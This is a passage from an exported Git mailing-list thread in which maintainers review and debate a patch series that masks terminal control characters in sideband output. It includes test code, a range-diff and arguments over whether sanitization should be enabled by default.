./eraser &&\n+\ttest_commit one-more-please &&\n+\n+\trm -rf throw-away &&\n+\tgit clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep ! \"CSI \\\\[K\" decoded &&\n+\ttest_grep \"\\\\^\\\\[\\\\[K\" decoded &&\n+\n+\trm -rf throw-away &&\n+\tgit -c \"sideband.file://.allowControlCharacters=true\" \\\n+\t\tclone --no-local \"file://$PWD\" throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep \"CSI \\\\[K\" decoded &&\n+\ttest_grep ! \"\\\\^\\\\[\\\\[K\" decoded\n+'\n+\n test_done\ndiff --git a/transport.c b/transport.c\nindex 1098bbd60e..e19536c9c6 100644\n--- a/transport.c\n+++ b/transport.c\n@@ -28,6 +28,7 @@\n #include \"object-name.h\"\n #include \"color.h\"\n #include \"bundle-uri.h\"\n+#include \"sideband.h\"\n \n static int transport_use_color = -1;\n static char transport_colors[][COLOR_MAXLEN] = {\n@@ -1210,6 +1211,8 @@ struct transport *transport_get(struct remote *remote, const char *url)\n \n \tret->hash_algo = &hash_algos[GIT_HASH_SHA1];\n \n+\tsideband_apply_url_config(ret->url);\n+\n \treturn ret;\n }\n \n-- \ngitgitgadget\n"},{"id":"534106","messageId":"fc58c8ea-88d0-d86c-30e6-0ab9fceb23cc@gmx.de","threadId":"62809","inReplyTo":"pull.1853.v3.git.1768602373.gitgitgadget@gmail.com","subject":"Re: [PATCH v3 0/5] Sanitize sideband channel messages","fromName":"Johannes Schindelin","fromEmail":"johannes.schindelin@gmx.de","sentAt":"2026-01-16T22:32:34Z","receivedAt":"2026-01-16T22:32:50Z","isPatch":true,"body":"Hi,\n\nOn Fri, 16 Jan 2026, Johannes Schindelin via GitGitGadget wrote:\n\n> Note: This series applies cleanly on v2.47.3. Integrating this into newer\n> versions is a bit cumbersome; I pushed a version of the branch as rebased to\n> v2.53.0-rc0 here:\n> https://github.com/dscho/git/tree/refs/heads/sanitize-sideband-2.53.0-rc0\n\nHere is the range-diff:\n\n1:  e6b71af0cad = 1:  757c859add0 sideband: mask control characters\n2:  8f64d658447 ! 2:  28c9fa7e205 sideband: introduce an \"escape hatch\" to allow control characters\n    @@ Commit message\n         Suggested-by: brian m. carlson <sandals@crustytoothpaste.net>\n         Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n     \n    - ## Documentation/config.txt ##\n    -@@ Documentation/config.txt: include::config/sequencer.txt[]\n    + ## Documentation/config.adoc ##\n    +@@ Documentation/config.adoc: include::config/sequencer.adoc[]\n      \n    - include::config/showbranch.txt[]\n    + include::config/showbranch.adoc[]\n      \n    -+include::config/sideband.txt[]\n    ++include::config/sideband.adoc[]\n     +\n    - include::config/sparse.txt[]\n    + include::config/sparse.adoc[]\n      \n    - include::config/splitindex.txt[]\n    + include::config/splitindex.adoc[]\n     \n    - ## Documentation/config/sideband.txt (new) ##\n    + ## Documentation/config/sideband.adoc (new) ##\n     @@\n     +sideband.allowControlCharacters::\n     +\tBy default, control characters that are delivered via the sideband\n    @@ sideband.c: static struct keyword_entry keywords[] = {\n     +static int allow_control_characters;\n     +\n      /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n    - static int use_sideband_colors(void)\n    + static enum git_colorbool use_sideband_colors(void)\n      {\n    -@@ sideband.c: static int use_sideband_colors(void)\n    - \tif (use_sideband_colors_cached >= 0)\n    +@@ sideband.c: static enum git_colorbool use_sideband_colors(void)\n    + \tif (use_sideband_colors_cached != GIT_COLOR_UNKNOWN)\n      \t\treturn use_sideband_colors_cached;\n      \n    -+\tgit_config_get_bool(\"sideband.allowcontrolcharacters\",\n    ++\trepo_config_get_bool(the_repository, \"sideband.allowcontrolcharacters\",\n     +\t\t\t    &allow_control_characters);\n     +\n    - \tif (!git_config_get_string_tmp(key, &value))\n    + \tif (!repo_config_get_string_tmp(the_repository, key, &value))\n      \t\tuse_sideband_colors_cached = git_config_colorbool(key, value);\n    - \telse if (!git_config_get_string_tmp(\"color.ui\", &value))\n    + \telse if (!repo_config_get_string_tmp(the_repository, \"color.ui\", &value))\n     @@ sideband.c: void list_config_color_sideband_slots(struct string_list *list, const char *pref\n      \n      static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n3:  44838acaccc ! 3:  58a4f78783b sideband: do allow ANSI color sequences by default\n    @@ Commit message\n     \n         Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n     \n    - ## Documentation/config/sideband.txt ##\n    + ## Documentation/config/sideband.adoc ##\n     @@\n      sideband.allowControlCharacters::\n      \tBy default, control characters that are delivered via the sideband\n    @@ sideband.c: static struct keyword_entry keywords[] = {\n     +} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n      \n      /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n    - static int use_sideband_colors(void)\n    -@@ sideband.c: static int use_sideband_colors(void)\n    - \tif (use_sideband_colors_cached >= 0)\n    + static enum git_colorbool use_sideband_colors(void)\n    +@@ sideband.c: static enum git_colorbool use_sideband_colors(void)\n    + \tif (use_sideband_colors_cached != GIT_COLOR_UNKNOWN)\n      \t\treturn use_sideband_colors_cached;\n      \n    --\tgit_config_get_bool(\"sideband.allowcontrolcharacters\",\n    +-\trepo_config_get_bool(the_repository, \"sideband.allowcontrolcharacters\",\n     -\t\t\t    &allow_control_characters);\n    -+\tswitch (git_config_get_maybe_bool(\"sideband.allowcontrolcharacters\", &i)) {\n    ++\tswitch (repo_config_get_maybe_bool(the_repository, \"sideband.allowcontrolcharacters\", &i)) {\n     +\tcase 0: /* Boolean value */\n     +\t\tallow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :\n     +\t\t\tALLOW_NO_CONTROL_CHARACTERS;\n     +\t\tbreak;\n     +\tcase -1: /* non-Boolean value */\n    -+\t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n    ++\t\tif (repo_config_get_string_tmp(the_repository, \"sideband.allowcontrolcharacters\",\n     +\t\t\t\t\t      &value))\n     +\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n     +\t\telse if (!strcmp(value, \"default\"))\n    @@ sideband.c: static int use_sideband_colors(void)\n     +\t\tbreak; /* not configured */\n     +\t}\n      \n    - \tif (!git_config_get_string_tmp(key, &value))\n    + \tif (!repo_config_get_string_tmp(the_repository, key, &value))\n      \t\tuse_sideband_colors_cached = git_config_colorbool(key, value);\n     @@ sideband.c: void list_config_color_sideband_slots(struct string_list *list, const char *pref\n      \t\tlist_config_item(list, prefix, keywords[i].keyword);\n4:  cc578465b9c ! 4:  24708d83075 sideband: add options to allow more control sequences to be passed through\n    @@ Commit message\n     \n         Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n     \n    - ## Documentation/config/sideband.txt ##\n    -@@ Documentation/config/sideband.txt: sideband.allowControlCharacters::\n    + ## Documentation/config/sideband.adoc ##\n    +@@ Documentation/config/sideband.adoc: sideband.allowControlCharacters::\n      \tBy default, control characters that are delivered via the sideband\n      \tare masked, except ANSI color sequences. This prevents potentially\n      \tunwanted ANSI escape sequences from being sent to the terminal. Use\n    @@ sideband.c: static struct keyword_entry keywords[] = {\n     +}\n      \n      /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n    - static int use_sideband_colors(void)\n    -@@ sideband.c: static int use_sideband_colors(void)\n    - \t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n    + static enum git_colorbool use_sideband_colors(void)\n    +@@ sideband.c: static enum git_colorbool use_sideband_colors(void)\n    + \t\tif (repo_config_get_string_tmp(the_repository, \"sideband.allowcontrolcharacters\",\n      \t\t\t\t\t      &value))\n      \t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n     -\t\telse if (!strcmp(value, \"default\"))\n5:  f2eb0a758ce ! 5:  4db96901d02 sideband: offer to configure sanitizing on a per-URL basis\n    @@ Commit message\n         Suggested-by: Junio Hamano <gitster@pobox.com>\n         Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n     \n    - ## Documentation/config/sideband.txt ##\n    -@@ Documentation/config/sideband.txt: sideband.allowControlCharacters::\n    + ## Documentation/config/sideband.adoc ##\n    +@@ Documentation/config/sideband.adoc: sideband.allowControlCharacters::\n      \t`true`::\n      \t\tAllow all control characters to be sent to the terminal.\n      --\n    @@ sideband.c: static void parse_allow_control_characters(const char *value)\n     +\tconfig.collect_fn = sideband_config_callback;\n     +\n     +\tnormalized_url = url_normalize(url, &config.url);\n    -+\tgit_config(urlmatch_config_entry, &config);\n    ++\trepo_config(the_repository, urlmatch_config_entry, &config);\n     +\tfree(normalized_url);\n     +\tstring_list_clear(&config.vars, 1);\n     +\turlmatch_config_release(&config);\n      }\n      \n      /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n    -@@ sideband.c: static int use_sideband_colors(void)\n    - \tif (use_sideband_colors_cached >= 0)\n    +@@ sideband.c: static enum git_colorbool use_sideband_colors(void)\n    + \tif (use_sideband_colors_cached != GIT_COLOR_UNKNOWN)\n      \t\treturn use_sideband_colors_cached;\n      \n    --\tswitch (git_config_get_maybe_bool(\"sideband.allowcontrolcharacters\", &i)) {\n    +-\tswitch (repo_config_get_maybe_bool(the_repository, \"sideband.allowcontrolcharacters\", &i)) {\n     -\tcase 0: /* Boolean value */\n     -\t\tallow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :\n     -\t\t\tALLOW_NO_CONTROL_CHARACTERS;\n     -\t\tbreak;\n     -\tcase -1: /* non-Boolean value */\n    --\t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n    +-\t\tif (repo_config_get_string_tmp(the_repository, \"sideband.allowcontrolcharacters\",\n     -\t\t\t\t\t      &value))\n     -\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n     -\t\telse\n    @@ sideband.c: static int use_sideband_colors(void)\n     -\tdefault:\n     -\t\tbreak; /* not configured */\n     +\tif (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET) {\n    -+\t\tif (!git_config_get_value(\"sideband.allowcontrolcharacters\", &value))\n    ++\t\tif (!repo_config_get_value(the_repository, \"sideband.allowcontrolcharacters\", &value))\n     +\t\t\tsideband_allow_control_characters_config(\"sideband.allowcontrolcharacters\", value);\n     +\n     +\t\tif (allow_control_characters == ALLOW_CONTROL_SEQUENCES_UNSET)\n     +\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n      \t}\n      \n    - \tif (!git_config_get_string_tmp(key, &value))\n    + \tif (!repo_config_get_string_tmp(the_repository, key, &value))\n     \n      ## sideband.h ##\n     @@ sideband.h: int demultiplex_sideband(const char *me, int status,\n    @@ transport.c\n      #include \"bundle-uri.h\"\n     +#include \"sideband.h\"\n      \n    - static int transport_use_color = -1;\n    + static enum git_colorbool transport_use_color = GIT_COLOR_UNKNOWN;\n      static char transport_colors[][COLOR_MAXLEN] = {\n     @@ transport.c: struct transport *transport_get(struct remote *remote, const char *url)\n      \n    - \tret->hash_algo = &hash_algos[GIT_HASH_SHA1];\n    + \tret->hash_algo = &hash_algos[GIT_HASH_SHA1_LEGACY];\n      \n     +\tsideband_apply_url_config(ret->url);\n     +\n\nCiao,\nJohannes\n"},{"id":"534175","messageId":"aW3bSYCIPMhJT1mf@pks.im","threadId":"62809","inReplyTo":"xmqq3445bn33.fsf@gitster.g","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Patrick Steinhardt","fromEmail":"ps@pks.im","sentAt":"2026-01-19T07:20:41Z","receivedAt":"2026-01-19T07:20:48Z","isPatch":true,"body":"On Fri, Jan 16, 2026 at 07:21:04AM -0800, Junio C Hamano wrote:\n> Ondrej Pohorelsky <opohorel@redhat.com> writes:\n> \n> > Hi, I just want to weight in from the downstream maintainer POV.\n> > We've been carrying the patches Johannes has created in Fedora, CentOS\n> > and RHEL for at least half a year now.\n> > The only change I did is to make the new behavior opt-in by default\n> > and give the RHEL customers a release note explaining it.\n> \n> Thanks for your great input.  FWIW, I do not think anybody around\n> here is against \"opt-in with a note\" approach at all.\n> \n> > I think the patches proposed are making sense, and they should be\n> > merged. Even having them as opt-in is better than not having them\n> > merged at all.\n> \n> I do not think anybody disagrees with this sentiment.  Back when the\n> patches originally was discussed on the public list here, nobody was\n> against adding it as an _optional_ feature to filter some byte\n> sequences out of the end-user's data stream, and the review comments\n> that led to the topic marked to be \"expecting a reroll\", if I recall\n> correctly, were all about \"why would we make this on by default?\"\n> Peff's message that reignited the topic this time around is also\n> about the same.\n> \n> We are still hearing from Dscho that he cannot think of a scenario\n> where making this mandatory with opt-out would break existing\n> legitimate setup people may have (I am paraphrasing [*]), but I\n> think that is aiming in the wrong direction.  It does not matter if\n> you consider the approach your users take is \"broken by design\"; as\n> long as it works for them in their (limited) settings, it is a valid\n> arrangement to send arbitrary byte sequence over the sideband even\n> it happens to include ANSI escapes and other \"curiosities\".  We have\n> in no position to unilaterally break them, telling them that we left\n> a way open for them to disable.  That is not how to deliver features.\n\nI think what I strongly disagree with is that this is considered to be a\nfeature. I myself don't consider this to be a feature though, but rather\na security fix for a bug that can lead to arbitrary code execution on\nthe client-side, for example via title bar injection.\n\nIt's not the first time that we change existing behaviour in a backwards\nincompatible way because of a newly discovered attack vector. So I have\nto wonder what's so different about this particular case here.\n\nPatrick\n"},{"id":"534197","messageId":"aW6tMtg0pEKq23TX@fruit.crustytoothpaste.net","threadId":"62809","inReplyTo":"aW3bSYCIPMhJT1mf@pks.im","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"brian m. carlson","fromEmail":"sandals@crustytoothpaste.net","sentAt":"2026-01-19T22:16:18Z","receivedAt":"2026-01-19T22:16:25Z","isPatch":true,"body":"On 2026-01-19 at 07:20:41, Patrick Steinhardt wrote:\n> I think what I strongly disagree with is that this is considered to be a\n> feature. I myself don't consider this to be a feature though, but rather\n> a security fix for a bug that can lead to arbitrary code execution on\n> the client-side, for example via title bar injection.\n\nI don't agree with that.  Nobody still enables the functionality in a\nterminal that allows title bar injection.  And, as I've pointed out,\neven connecting to an SSH remote allows exactly the same behaviour as\nthis patch seems to try to fix, so there is no actual security benefit\nto enabling these patches there.  Defaulting this series to on is like\nclosing the barn door to prevent the horse from getting out when there's\na giant hole in the barn wall.\n\nIt should be pointed out that, in general, simply using SSH to connect\nto an untrusted remote system or using `cat` on an untrusted file can do\nexactly the same thing as this series tries to prevent by sending\narbitrary terminal codes to the terminal.  Nobody has sent patches for\nSSH to make it filter out terminal sequences.\n\nI have also found pre-receive hooks on GitHub that will be broken by\nthese changes.  Just because Dscho has not seen them doesn't mean that\nthey don't exist and many users who are not on Windows do not run the\nlatest Git (they run what's provided by their distro or vendor), so they\nwon't notice that things are broken until we've shipped the feature\nbeing on by default.\n\nI'm not opposed to adding support for this as an opt-in feature for\nthose people that want it, though, and I think that's the right path for\nincluding it.\n-- \nbrian m. carlson (they/them)\nToronto, Ontario, CA\n"},{"id":"534207","messageId":"CALnO6CAUWwtTR4Tw1q+camc=O1FwS-GSowUehy37Cj9XhySBtA@mail.gmail.com","threadId":"62809","inReplyTo":"aW6tMtg0pEKq23TX@fruit.crustytoothpaste.net","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"D. Ben Knoble","fromEmail":"ben.knoble@gmail.com","sentAt":"2026-01-20T02:41:34Z","receivedAt":"2026-01-20T02:41:46Z","isPatch":true,"body":"Forgive my self-insertion to this series…\n\nOn Mon, Jan 19, 2026 at 5:16 PM brian m. carlson\n<sandals@crustytoothpaste.net> wrote:\n>\n> On 2026-01-19 at 07:20:41, Patrick Steinhardt wrote:\n> > I think what I strongly disagree with is that this is considered to be a\n> > feature. I myself don't consider this to be a feature though, but rather\n> > a security fix for a bug that can lead to arbitrary code execution on\n> > the client-side, for example via title bar injection.\n>\n> I don't agree with that.  Nobody still enables the functionality in a\n> terminal that allows title bar injection.  And, as I've pointed out,\n> even connecting to an SSH remote allows exactly the same behaviour as\n> this patch seems to try to fix, so there is no actual security benefit\n> to enabling these patches there.  Defaulting this series to on is like\n> closing the barn door to prevent the horse from getting out when there's\n> a giant hole in the barn wall.\n>\n> It should be pointed out that, in general, simply using SSH to connect\n> to an untrusted remote system or using `cat` on an untrusted file can do\n> exactly the same thing as this series tries to prevent by sending\n> arbitrary terminal codes to the terminal.  Nobody has sent patches for\n> SSH to make it filter out terminal sequences.\n\nIt sounds like you say \"There are other holes, so it doesn't make\nsense to try to close this one.\" I don't think you mean or believe\nthat, though I don't want to put words in your mouth. I just don't\nfind that a particularly compelling argument, especially with typical\npractice of the \"swiss cheese\" model of security.\n\n> I have also found pre-receive hooks on GitHub that will be broken by\n> these changes.  Just because Dscho has not seen them doesn't mean that\n> they don't exist and many users who are not on Windows do not run the\n> latest Git (they run what's provided by their distro or vendor), so they\n> won't notice that things are broken until we've shipped the feature\n> being on by default.\n>\n> I'm not opposed to adding support for this as an opt-in feature for\n> those people that want it, though, and I think that's the right path for\n> including it.\n> --\n> brian m. carlson (they/them)\n> Toronto, Ontario, CA\n\n\nCordially,\n-- \nD. Ben Knoble\n"},{"id":"534274","messageId":"xmqqa4y81ag8.fsf@gitster.g","threadId":"62809","inReplyTo":"aW6tMtg0pEKq23TX@fruit.crustytoothpaste.net","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-01-20T17:05:27Z","receivedAt":"2026-01-20T17:05:31Z","isPatch":true,"body":"\"brian m. carlson\" <sandals@crustytoothpaste.net> writes:\n\n> I'm not opposed to adding support for this as an opt-in feature for\n> those people that want it, though, and I think that's the right path for\n> including it.\n\nYup.  I am hoping that there are no folks who think that forcing\nthis filtering on everybody is so important that it must not go in\nunless it is enabled by default.\n\nI however wonder if we need two different levels defaults, depending\non where the user is going, to make it less painful to configure\nthings.  I would imagine the remotes one would interact with fall\ninto two quite different categories.\n\n - The ones that you talk with every day, essential in your work,\n   would be something you would have to be able to trust and if\n   these trusted people want to give you a bit more colorful output\n   from their hooks, you shouldn't have to manually configure \"I\n   accept colors from them\", for example.\n\n - There are others that you will visit for the first time as you\n   try to discover new good things.  These you may want to be extra\n   cautious about than the familiar remotes in your everyday work.\n\nPerhaps \"git clone $URL\" should filter the terminal output by\ndefault, but once inside the resulting repository, \"git push\" and\n\"git pull\" from the established remote that is used by default when\nyou do not say whom to talk to, our default can be more lenient, or\nsomething?\n\n\n\n\n\n"},{"id":"534280","messageId":"20260120193109.GB3295894@coredump.intra.peff.net","threadId":"62809","inReplyTo":"xmqqa4y81ag8.fsf@gitster.g","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Jeff King","fromEmail":"peff@peff.net","sentAt":"2026-01-20T19:31:09Z","receivedAt":"2026-01-20T19:31:11Z","isPatch":true,"body":"On Tue, Jan 20, 2026 at 09:05:27AM -0800, Junio C Hamano wrote:\n\n> \"brian m. carlson\" <sandals@crustytoothpaste.net> writes:\n> \n> > I'm not opposed to adding support for this as an opt-in feature for\n> > those people that want it, though, and I think that's the right path for\n> > including it.\n> \n> Yup.  I am hoping that there are no folks who think that forcing\n> this filtering on everybody is so important that it must not go in\n> unless it is enabled by default.\n> \n> I however wonder if we need two different levels defaults, depending\n> on where the user is going, to make it less painful to configure\n> things.  I would imagine the remotes one would interact with fall\n> into two quite different categories.\n> \n>  - The ones that you talk with every day, essential in your work,\n>    would be something you would have to be able to trust and if\n>    these trusted people want to give you a bit more colorful output\n>    from their hooks, you shouldn't have to manually configure \"I\n>    accept colors from them\", for example.\n> \n>  - There are others that you will visit for the first time as you\n>    try to discover new good things.  These you may want to be extra\n>    cautious about than the familiar remotes in your everyday work.\n> \n> Perhaps \"git clone $URL\" should filter the terminal output by\n> default, but once inside the resulting repository, \"git push\" and\n> \"git pull\" from the established remote that is used by default when\n> you do not say whom to talk to, our default can be more lenient, or\n> something?\n\nI hesitate to suggest this, but: we have a similar distinction already\nfor protocol selection, where GIT_PROTOCOL_FROM_USER tells us whether\nthe URL came directly from the user, or if we were directed there as\npart of an untrusted automated process (like a .gitmodules file).\n\nWe use that to disallow file:// from .gitmodules without breaking \"git\nclone file://\" on the command line.\n\nSo we _could_ use that as a signal here, to suggest that servers you\nfeed on the command line (including remotes you've defined) are more\ntrusted than ones that you may have been redirected to from a possibly\nmalicious .gitmodules file.\n\nBut I say \"hesitate\" because:\n\n  1. This is a convoluted scheme making heuristic assumptions about\n     trust. It was a not-so-bad way of compromising on the file://\n     thing, but it may not be worth the complications here.\n\n  2. The trust boundaries aren't quite the same anyway. If I feed\n     \"https://evil.example.com\" to Git manually, I can verify that\n     \"https\" is the URL and that is OK to use the HTTP protocol. But it\n     doesn't say anything about whether I trust example.com to write to\n     my terminal.\n\nSo maybe a dumb direction, but just thinking out loud.\n\n-Peff\n"},{"id":"534284","messageId":"xmqqfr80yrgd.fsf@gitster.g","threadId":"62809","inReplyTo":"20260120193109.GB3295894@coredump.intra.peff.net","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-01-20T20:11:46Z","receivedAt":"2026-01-20T20:11:51Z","isPatch":true,"body":"Jeff King <peff@peff.net> writes:\n\n> I hesitate to suggest this, but: we have a similar distinction already\n> for protocol selection, where GIT_PROTOCOL_FROM_USER tells us whether\n> the URL came directly from the user, or if we were directed there as\n> part of an untrusted automated process (like a .gitmodules file).\n>\n> We use that to disallow file:// from .gitmodules without breaking \"git\n> clone file://\" on the command line.\n>\n> So we _could_ use that as a signal here, to suggest that servers you\n> feed on the command line (including remotes you've defined) are more\n> trusted than ones that you may have been redirected to from a possibly\n> malicious .gitmodules file.\n>\n> But I say \"hesitate\" because:\n>\n>   1. This is a convoluted scheme making heuristic assumptions about\n>      trust. It was a not-so-bad way of compromising on the file://\n>      thing, but it may not be worth the complications here.\n>\n>   2. The trust boundaries aren't quite the same anyway. If I feed\n>      \"https://evil.example.com\" to Git manually, I can verify that\n>      \"https\" is the URL and that is OK to use the HTTP protocol. But it\n>      doesn't say anything about whether I trust example.com to write to\n>      my terminal.\n>\n> So maybe a dumb direction, but just thinking out loud.\n\nYeah, I think #2 makes it unworkable for this purpose.  When\nsomebody you met recently at a party and you not yet know how much\nto trust told you \"You may be interested in this nifty add-on I have\nin my repository at https://example.com/nifty.git\", you may want to\nclone it only to peek at it first without trusting it.  So automated\nor manually fed from the command line, I'd say the destination where\n\"git clone\" goes is much less trusted than the cloned repositories\nyou keep (presumably after inspecting and interacting with its\ncontents enough).\n"},{"id":"534316","messageId":"aXCCqvGBl24yVgI6@pks.im","threadId":"62809","inReplyTo":"xmqqa4y81ag8.fsf@gitster.g","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Patrick Steinhardt","fromEmail":"ps@pks.im","sentAt":"2026-01-21T07:39:22Z","receivedAt":"2026-01-21T07:39:30Z","isPatch":true,"body":"On Tue, Jan 20, 2026 at 09:05:27AM -0800, Junio C Hamano wrote:\n> \"brian m. carlson\" <sandals@crustytoothpaste.net> writes:\n> \n> > I'm not opposed to adding support for this as an opt-in feature for\n> > those people that want it, though, and I think that's the right path for\n> > including it.\n> \n> Yup.  I am hoping that there are no folks who think that forcing\n> this filtering on everybody is so important that it must not go in\n> unless it is enabled by default.\n\nIf we cannot agree then I'd rather take the opt-in compared to having\nnothing at all.\n\n> I however wonder if we need two different levels defaults, depending\n> on where the user is going, to make it less painful to configure\n> things.  I would imagine the remotes one would interact with fall\n> into two quite different categories.\n> \n>  - The ones that you talk with every day, essential in your work,\n>    would be something you would have to be able to trust and if\n>    these trusted people want to give you a bit more colorful output\n>    from their hooks, you shouldn't have to manually configure \"I\n>    accept colors from them\", for example.\n> \n>  - There are others that you will visit for the first time as you\n>    try to discover new good things.  These you may want to be extra\n>    cautious about than the familiar remotes in your everyday work.\n> \n> Perhaps \"git clone $URL\" should filter the terminal output by\n> default, but once inside the resulting repository, \"git push\" and\n> \"git pull\" from the established remote that is used by default when\n> you do not say whom to talk to, our default can be more lenient, or\n> something?\n\nI'm not sure this would help protect our users. If we had an adversarial\nremote, then it could trivially work around the protection by acting\nbenevolent on clone, but malicious on subsequent fetches. So it doesn't\nreally seem to significantly reduce the attack surface, unless I miss\nsomething.\n\nI think that the other suggestion you made further up the thread would\nmake more sense in this context. If users can configure this similar to\nhow our \"http.<url>.*\" settings work then they can e.g.:\n\n    $ git config set --global \\\n        sideband.\"https://gitlab.com\".allowControlCharacters true\n\nAnd from thereon they would always trust GitLab going forward. I guess\nthat most users would really only need to configure two or three such\ndomains.\n\nNB: This ignores the fact that GitLab.com already behaves well with the\n    proposed new default as we never send ANSI escape sequences other\n    than color codes. So I assume most domains wouldn't need any\n    configuration in the first place.\n\nThanks!\n\nPatrick\n"},{"id":"534448","messageId":"a51f9433-e82f-bc2c-5fc4-f8ae95a859f8@gmx.de","threadId":"62809","inReplyTo":"xmqqa4y81ag8.fsf@gitster.g","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Johannes Schindelin","fromEmail":"johannes.schindelin@gmx.de","sentAt":"2026-01-22T12:29:16Z","receivedAt":"2026-01-22T12:29:42Z","isPatch":true,"body":"Hi Junio,\n\nI disagree with making sideband sanitization opt-in or weakening it based\non a \"trusted remote\" heuristic. In this context, emitting untrusted bytes\nto a terminal without proper sanitization is a security-relevant bug;\nsafe-by-default should be the baseline.\n\nOn Tue, 20 Jan 2026, Junio C Hamano wrote:\n\n> [...] forcing this filtering on everybody [...]  unless it is enabled by\n> default. [...]\n\nIf the goal is to mitigate terminal escape injection from\nremote-controlled output, then shipping it disabled by default does not\nmitigate the default case. Most users will not discover or enable a\nhardening knob until after an incident.\n\n> Two levels of defaults [...]  trusted daily remotes vs new remotes.\n> [...]\n\nI don't think we can safely infer \"trusted enough to write to my terminal\"\nfrom \"I fetch from there often\". A previously-trusted remote can be\ncompromised, after all. Which means that a trust-based default is a\nfoot-gun: it creates a path where users believe they're protected while\nthe program is intentionally passing through attacker-controlled escape\nsequences.\n\nBesides, allowing \"colorful output from their hooks\" _is already allowed\nby default_ in the proposed patch series. The config variable\n`sideband.allowControlCharacters` isn't an \"all or nothing\" setting, after\nall.\n\n> [...] you shouldn't have to manually configure \"I accept colors from\n> them\". [...]\n\nColor is already a narrowly-scoped exception. Cursor movement / erase\nsequences are in a different category because they can rewrite prior\noutput and hide what actually happened. If we want to allow them, it\nshould remain explicit opt-in on the client, not something we enable\nautomatically based on repository state.\n\nIf the argument is \"setting `sideband.allowControlCharacters` to `color`\nby default breaks common workflows on established remotes\",\ncan you point to a concrete repro (hook snippet + terminal + escape\nsequences relied on) or a public example? Without that, I don't think we\nshould bias the default toward pass-through of higher-risk sequences.\n\nAbsent such evidence, the best way to proceed is to keep sanitization\nenabled by default for sideband output (modulo color), with the clearly\ndocumented escape hatch for users who knowingly want additional sequences.\nIf there is a strong need for per-remote behavior, there is\n`sideband.<url>.allowControlCharacters`, as per v3), i.e. users _do_ have\nthat option _after_ stating that they trust that particular remote not to\nwreak havoc with their terminal.\n\nAlso keep in mind that this patch series' scope is the sideband channel;\nThe fact that SSH-based transports patch through `stderr` (completely\nside-stepping sideband) is out of scope.\n\nCiao,\nJohannes\n\nP.S.: Junio: if we continue to discuss \"opt-in\"/\"opt-out\", I think we\nneed to be more explicit about which behavior we mean. We now have multiple\nlevels in `sideband.allowControlCharacters` (default allows color;\n`cursor`, `erase`, `false` and `true` allow more fine-grained levels).\n\nIf the proposal is \"full pass-through of all control characters is\nopt-in\", or \"full sanitizing of all control characters is opt-in\", I\nwhole-heartedly agree: That is already opt-in via setting\n`sideband.allowControlCharacters` to `false` or `true`, respectively.\n\nIf the proposal is \"keep the historical behavior (verbatim sideband\npayload, no sanitization) as the default, and make sanitization opt-in\", I\nam firmly opposed: This makes the sideband payload remote-controlled; A\nsecurity hardening that is off by default will not protect the default\nuser population.\n\nCan you confirm which of these two meanings you intend when you say\n\"opt-in\" here? Once that's clarified, we can discuss whether the default\nshould remain at \"color-only\" (today's default) with explicit opt-in for\nriskier sequences, or whether you're arguing for no filtering at all by\ndefault.\n"},{"id":"534477","messageId":"xmqqo6mlo7h1.fsf@gitster.g","threadId":"62809","inReplyTo":"a51f9433-e82f-bc2c-5fc4-f8ae95a859f8@gmx.de","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-01-22T17:58:02Z","receivedAt":"2026-01-22T17:58:07Z","isPatch":true,"body":"Johannes Schindelin <Johannes.Schindelin@gmx.de> writes:\n\n> I disagree with making sideband sanitization opt-in or weakening it based\n> on a \"trusted remote\" heuristic. In this context, emitting untrusted bytes\n> to a terminal without proper sanitization is a security-relevant bug;\n> safe-by-default should be the baseline.\n> ...\n> If the goal is to mitigate terminal escape injection from\n> remote-controlled output, then shipping it disabled by default does not\n> mitigate the default case. Most users will not discover or enable a\n> hardening knob until after an incident.\n\nI think we already know we disagree on this point already.  I am\nsimply agreeing with what brian recommended, based on his findings\nat GitHub hosted public projects [*], and what Ondrej says they have\nbeen doing in Fedora, CentOS and RHEL [*].\n\n\n> I don't think we can safely infer \"trusted enough to write to my terminal\"\n> from \"I fetch from there often\".\n\nIt was mostly an attempt to offer an idea: \"Even if we make it off\nby default, we may want to protect the initial clone, and here is\none thing you could do...\".  If it would not help in practice, I am\nfine if we ditch it 